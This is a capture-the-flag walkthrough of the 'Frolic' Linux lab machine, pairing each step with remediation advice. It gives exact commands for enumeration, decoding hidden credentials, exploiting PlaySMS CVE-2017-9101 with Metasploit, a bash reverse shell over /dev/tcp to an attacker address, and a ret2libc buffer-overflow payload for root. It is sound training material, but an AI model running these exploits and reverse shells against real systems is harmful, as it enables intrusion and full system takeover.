← all walkthroughs

Frolic

Linux· Easy
owned
2026-07-03
time to own
11m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a web server and discovered an administrative panel secured only by client-side JavaScript. By decoding a multi-layer encoding puzzle embedded in the application — custom symbol cipher, hidden URL, password-protected ZIP, hex, base64, and Brainfuck — I recovered valid credentials.

Those credentials authenticated to an outdated PlaySMS instance containing a known server-side code-injection flaw (CVE-2017-9101), which returned a shell as the web-server account. Privilege escalation was achieved by exploiting a stack buffer overflow in a custom SUID-flagged 32-bit binary, crafting a ret2libc payload that called system('/bin/sh') with root privileges.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <main> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (Nmap)
Mapped all open services on the target
A port scan of $TARGET identified five open TCP services: SSH (22), SMB (139/445), and two nginx listeners on ports 1880 and 9999. Port 9999 hosted the primary attack surface. No credentials or special access were required to run this scan.
Nmap -Pn -p22,139,445,1880,9999 confirmed all five ports open with service banners.
Exact commands 1
shell

Version scan of the five known ports; confirms nginx on 9999 as the primary web surface.

$ nmap -Pn -p22,139,445,1880,9999 -T4 -sV $TARGET
2EnumerationWeb directory enumeration (Gobuster)
Discovered hidden administrative and application directories via directory brute-force
Directory brute-forcing the nginx site on port 9999 revealed /admin and /playsms (a PlaySMS web application), along with /test, /dev, /backup, and /loop. Both sensitive directories were freely accessible from the internet with no network-layer restriction in place.
The target surface.
Exact commands 2
shell

Enumerate directories; expect /admin, /playsms, /test, /dev, /backup, /loop.

$ gobuster dir -u http://$TARGET:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster_9999.txt
shell

Verify /admin returns 200 — no network-level protection.

$ curl -s -o /dev/null -w '%{http_code}' http://$TARGET:9999/admin/
FixRestrict administrative web interfaces to authorised source IPsHigh
WeaknessThe /admin control panel and the PlaySMS application on port 9999 were fully reachable from the internet with no network-level controls. This gave an unauthorised user an unrestricted opportunity to attack whatever vulnerabilities the applications contained.
FixBlock port 9999 (and 1880) at the perimeter firewall for all source addresses except an explicitly approved management range. If remote access is required, put the management interface behind a VPN and require it before the port is reachable at all. At the nginx layer, add 'allow <management-ip>; deny all;' blocks to the /admin and /playsms location directives so that even if a firewall rule is missed, the web server enforces the restriction. This control does not fix the application-layer vulnerabilities, but it eliminates unauthenticated internet access to them.
3Credential AccessClient-side authentication bypass; multi-layer encoding analysis (custom symbol cipher, Brainfuck, base64, hex)
Bypassed a client-side-only login and decoded a multi-layer obfuscation chain to recover the application password
The /admin panel validated credentials entirely in browser-side JavaScript; supplying admin:admin was sufficient to pass it because the server performed no check of its own. The post-login success page displayed a cipher composed of '.', '!', and '?' characters. Mapping two-character pairs to standard Brainfuck tokens and running the result revealed a hidden URL path (/asdiSIAJJ0QWE9JAS). That path served a base64-encoded blob; decoding it produced a ZIP archive that opened with the trivial password. The ZIP's single file was hex-encoded, then base64-encoded, then Brainfuck-encoded a second time. Fully unwinding that chain yielded the plaintext credential: <withheld>.
The full chain from JS bypass through to <withheld>; the hidden path /asdiSIAJJ0QWE9JAS was not listed by gobuster and was only reachable after decoding.
Exact commands 5
shell

Confirm credentials are validated in JS only — admin:admin is hard-coded in the script.

$ curl -s http://$TARGET:9999/admin/js/login.js | grep -i 'admin\|pass'
shell

Retrieve the post-login page containing the .!? Cipher.

$ curl -s http://$TARGET:9999/admin/success.html -o success.html
shell

Decode the symbol cipher to valid Brainfuck; run stage1.bf in any BF interpreter to get the hidden path /asdiSIAJJ0QWE9JAS.

$ python3 -c "s=open('success.html').read().strip(); m={'.?':'>','?.':'<','..':'+','!!':'-','!.':'.','.!':',','!?':'[','?!':']'}; print(''.join(m.get(s[i:i+2],'') for i in range(0,len(s)-1,2)))" > stage1.bf
shell

Fetch the hidden URL, base64-decode the response to a ZIP, and extract its contents with password '$PASSWORD2'.

$ curl -s http://$TARGET:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > frolic.zip && unzip -P $PASSWORD2 frolic.zip
shell

Unwind hex → base64; run stage2.bf in any BF interpreter — output is '$PASSWORD'.

$ python3 -c "import base64; h=open('index.php').read().strip(); print(base64.b64decode(bytes.fromhex(h)).decode())" > stage2.bf
FixImplement server-side authentication and remove credentials from client-accessible filesHigh
WeaknessThe /admin login was enforced entirely in browser-side JavaScript, so supplying admin:admin bypassed it with no server interaction. Additionally, a valid application password was hidden in a publicly accessible URL using only reversible encoding layers — encoding is not encryption and provides no protection to anyone who discovers the URL.
FixReplace the client-side JavaScript login with a proper server-side session mechanism (for example, a PHP or Python backend that validates credentials against a securely hashed password store such as bcrypt). The server must reject any request to protected resources that does not carry a valid session token; the client must never be trusted to enforce access controls. Remove the encoded credential file and the hidden path /asdiSIAJJ0QWE9JAS from the web root entirely and rotate the password immediately. Conduct a source-code audit of the full web application to find any other secrets stored in client-delivered files. Going forward, secrets must never appear in HTML, JavaScript, or any file under the web root.
4Initial AccessAuthenticated web application RCE — PHP template injection via CSV import (CVE-2017-9101)
Exploited PlaySMS 1.4 authenticated CSV-import code injection (CVE-2017-9101) to obtain a remote shell
The recovered credentials (admin / <withheld>) authenticated to PlaySMS at /playsms/. PlaySMS version 1.4 is vulnerable to CVE-2017-9101: its phonebook CSV import endpoint renders PHP expressions embedded in field values on the server without any sanitisation, enabling any authenticated user to execute OS commands. The Metasploit module exploit/multi/http/playsms_uploadcsv_exec delivered a PHP Meterpreter payload and returned a reverse shell running as the web-server account www-data. The PHP Meterpreter session was used to spawn a stable interactive bash shell back to a second listener.
Reverse shell established from $TARGET:33638 as www-data; msfconsole identification of the CVE-2017-9101 module.
Exact commands 4
shell

Fire CVE-2017-9101; returns a PHP Meterpreter session as www-data.

$ msfconsole -q -x "use exploit/multi/http/playsms_uploadcsv_exec; set RHOSTS $TARGET; set RPORT 9999; set TARGETURI /playsms/; set USERNAME admin; set PASSWORD $PASSWORD; set LHOST $ATTACKER_IP; set LPORT 4444; run"
shell

Open a second listener on my machine for the stable bash reverse shell.

$ nc -lvnp 4445
shell

Run inside the Meterpreter session to spawn a stable interactive bash shell on the second listener.

$ execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1'"
shell

Locate and read the user flag from the bash shell — value: <user.txt>.

$ find /home -name user.txt -exec cat {} \;
FixUpgrade or remove PlaySMS 1.4 (CVE-2017-9101)Critical
WeaknessPlaySMS version 1.4 renders PHP code embedded in CSV phonebook import fields directly on the server without any sanitisation. Any authenticated user — even one who logged in with default credentials — could execute arbitrary operating-system commands as the web-server process.
FixUpgrade PlaySMS to version 1.4.3 or the current latest release, which patches CVE-2017-9101. If the application is no longer needed, uninstall it entirely and remove its web root. If an immediate upgrade is not possible, disable or delete the CSV import module from the PlaySMS installation directory and block access to /playsms/ at the nginx level for all IP addresses except an approved management allowlist. Rotate the 'admin' credential (currently <withheld>) immediately and enforce a minimum-length, randomly generated password for all application accounts going forward.
5DiscoverySUID binary discovery (find); binary analysis (file, readelf, objdump/Ghidra)
Located a root-owned SUID binary containing a stack buffer overflow
A standard search for SUID binaries on the filesystem revealed /home/ayush/.binary/rop, owned by root with the SUID bit set. The file command confirmed it as an unstripped 32-bit (i386) ELF executable — not a system utility. Both the binary and the target system's 32-bit C library (/lib/i386-linux-gnu/libc.so.6) were downloaded to my machine. Offline disassembly of main() exposed a call to an unsafe input function with no bounds checking on the destination buffer, confirming exploitability.
'Privilege Escalation to root: Suid I386 Ret2Libc Via /Home/Ayush/.Binary/Rop — Critical'.
Exact commands 4
shell

List all root-owned SUID binaries; /home/ayush/.binary/rop appears in the results.

$ find / -perm -4000 -user root -type f 2>/dev/null
shell

Confirm: ELF 32-bit LSB executable, Intel 80386, not stripped — unusual custom binary with SUID.

$ file /home/ayush/.binary/rop
shell

From the Meterpreter session — pull the binary and libc to my machine for offline analysis.

$ download /home/ayush/.binary/rop /tmp/rop && download /lib/i386-linux-gnu/libc.so.6 /tmp/libc.so.6
shell

Disassemble main() to identify the unsafe call and measure the buffer size for padding calculation.

$ objdump -d /tmp/rop | grep -A 20 '<main>'
FixRemove the SUID bit from insecure custom binaries and fix the underlying buffer overflowCritical
WeaknessThe binary /home/ayush/.binary/rop carried the SUID root bit and contained a stack buffer overflow. Any local user — including the low-privilege web-server account www-data — could run it and immediately become root.
FixRemove the SUID bit right now: run 'chmod u-s /home/ayush/.binary/rop'. Audit every SUID and SGID binary on the system ('find / -perm /6000 -type f 2>/dev/null') and revoke elevated permissions from any binary that does not have a current, documented operational need. If this binary must stay and must run as root, rewrite it to replace unsafe input functions (gets, strcpy, sprintf) with bounded equivalents (fgets, strncpy, snprintf), and recompile with hardening flags (-fstack-protector-strong, full RELRO, PIE). Confirm ASLR is set to full randomisation ('sysctl kernel.randomize_va_space' should return 2); while ASLR alone did not stop this attack, it significantly raises the bar for all memory-corruption exploits.
6Privilege Escalationret2libc stack buffer overflow exploit (32-bit, i386, SUID binary)
Exploited stack buffer overflow in the SUID binary via ret2libc to gain a root shell
ASLR was enabled on the system, so a static payload would not work reliably. However, because the downloaded libc was an exact copy of what the target loads, I resolved the absolute runtime addresses of system(), exit(), and the '/bin/sh' string directly from that file. Sending 52 bytes of padding to overflow the buffer and overwrite the saved return address, followed by the three addresses packed in little-endian order, caused /home/ayush/.binary/rop — executing as root due to the SUID bit — to call system('/bin/sh'), returning a root interactive shell.
Resolving symbol offsets from the downloaded libc, constructing the 52-byte padded payload, and reading root.txt.
Exact commands 4
shell

Extract the file offsets of system() and exit() from the downloaded libc.

$ readelf -s /tmp/libc.so.6 | grep -w 'system\|exit'
shell

Find the file offset of the '/bin/sh' string inside libc.

$ strings -a -t x /tmp/libc.so.6 | grep '/bin/sh'
shell

Deliver ret2libc payload: 52-byte pad + system()@0xb7e53da0 + exit()@0xb7e479d0 + /bin/sh@0xb7f74a0b (addresses resolved from the target's libc). Returns root shell.

$ /home/ayush/.binary/rop "$(python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*52+struct.pack("<III",0xb7e53da0,0xb7e479d0,0xb7f74a0b))')"
shell

Read the root flag from the elevated shell — value: <root.txt>.

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
139/tcp
445/tcp
1880/tcp
9999/tcp